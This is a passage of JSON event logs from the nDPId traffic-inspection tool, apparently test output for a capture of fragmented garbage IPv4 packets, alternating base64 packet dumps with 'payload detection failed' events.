+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691503,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691607,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":692013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} 